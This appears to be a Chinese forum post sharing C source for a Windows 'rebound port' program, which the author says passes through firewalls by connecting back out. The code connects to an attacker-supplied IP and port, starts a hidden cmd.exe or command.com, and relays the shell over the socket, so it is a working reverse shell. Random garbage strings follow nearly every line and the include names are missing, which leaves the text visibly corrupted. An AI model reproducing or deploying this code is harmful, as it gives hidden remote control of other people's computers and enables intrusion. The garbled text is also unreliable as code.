Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 #0vda'q=j  
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/* ============================== Ep;i],}  
Rebound port in Windows NT gL-kI*Ra  
By wind,2006/7 ]8fn
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===============================*/ ?wv^X`Q*~  
#include ^EKRbPA9:<  
#include qH5nw
}]  
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#pragma comment(lib,"wsock32.lib") .drY  
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void OutputShell(); iCA-X\E  
SOCKET sClient; lVQE}gd%m  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (9oo8&GG  
^N[ Cip}8  
void main(int argc,char **argv) LT Pr8^  
{ hRRxOr#*
$  
WSADATA stWsaData; ,(a~vqNQW3  
int nRet; ]{q=9DczG(  
SOCKADDR_IN stSaiClient,stSaiServer; Nf<f}`  
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if(argc != 3) Q(cLi:)X2  
{ e@ D}/1~=  
printf("Useage:\n\rRebound DestIP DestPort\n"); rAAx]nQ@  
return; deArH5&!  
} rdd-W>+  
{hJCn*m_   
WSAStartup(MAKEWORD(2,2),&stWsaData); K!Fem6R  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1U#W=Fg'  
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stSaiClient.sin_family = AF_INET; -(F}=o'  
stSaiClient.sin_port = htons(0); B1J,4  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xEurkR  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) as]M%|/-I  
{ P8}IDQ9  
printf("Bind Socket Failed!\n"); BO4;S/ O  
return; ;Z"MO@9:  
} f|M^UHt8*  
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stSaiServer.sin_family = AF_INET; 2I}+AW!!=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,*U-o}{8C?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Za1mI^ L1  
[ i,[^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E"_{S.Wc  
{ l^ay*H  
printf("Connect Error!"); Jw@X5-(Cp  
return; R[
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} Jk-WD"J6  
OutputShell(); 0RtZTCGO  
} !L{mE&  
MKvmzLh$)  
void OutputShell() g*My1+J!  
{ Nwt[)\W `  
char szBuff[1024]; n}F$kyI  
SECURITY_ATTRIBUTES stSecurityAttributes; #7Q9^rG  
OSVERSIONINFO stOsversionInfo; i a!!jK}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vT0Op e6m  
STARTUPINFO stStartupInfo; }=)u_q  
char *szShell; TK18U*z7J  
PROCESS_INFORMATION stProcessInformation; 'g,_lF  
unsigned long lBytesRead; x%r$/=  
(kB  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -k7b# +T  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ycm.qud ?  
stSecurityAttributes.lpSecurityDescriptor = 0; ~EY)c~H  
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8)eRm{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8tR6.09'  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); H @k}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `Wjq$*  
stStartupInfo.wShowWindow = SW_HIDE; D((/fT)eD  
stStartupInfo.hStdInput = hReadPipe; ~y"R{-%uS  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?]Hs~n-  
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GetVersionEx(&stOsversionInfo); 9)]`le  
eA(\#+)X `  
switch(stOsversionInfo.dwPlatformId) $peL1'Evo  
{ XrTc5V  
case 1: h ChO  
szShell = "command.com"; 9C,gJp}P  
break; NpZ'pBl  
default: 9ThsR&h3  
szShell = "cmd.exe"; 5JVBDA^#om  
break; guYP|  
} -M6vg4gf  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5)S;R,  
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send(sClient,szMsg,77,0); #aC&!Rei{  
while(1) iUh7eR9  
{ uKXU.u*C  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V.u^;gr3  
if(lBytesRead) vb0Ca+}}  
{ lshSRir  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ym6Emf]  
send(sClient,szBuff,lBytesRead,0); sq#C|v/  
} D[@-`F  
else U&B(uk(2  
{ P;25F
 
lBytesRead=recv(sClient,szBuff,1024,0); hl**G4z9q  
if(lBytesRead<=0) break; k7*-v/*S  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B^dMYFelJ  
} jWxa [>  
} ~l'[P=R+8  
g~K-'Nw  
return; 8q9^  
}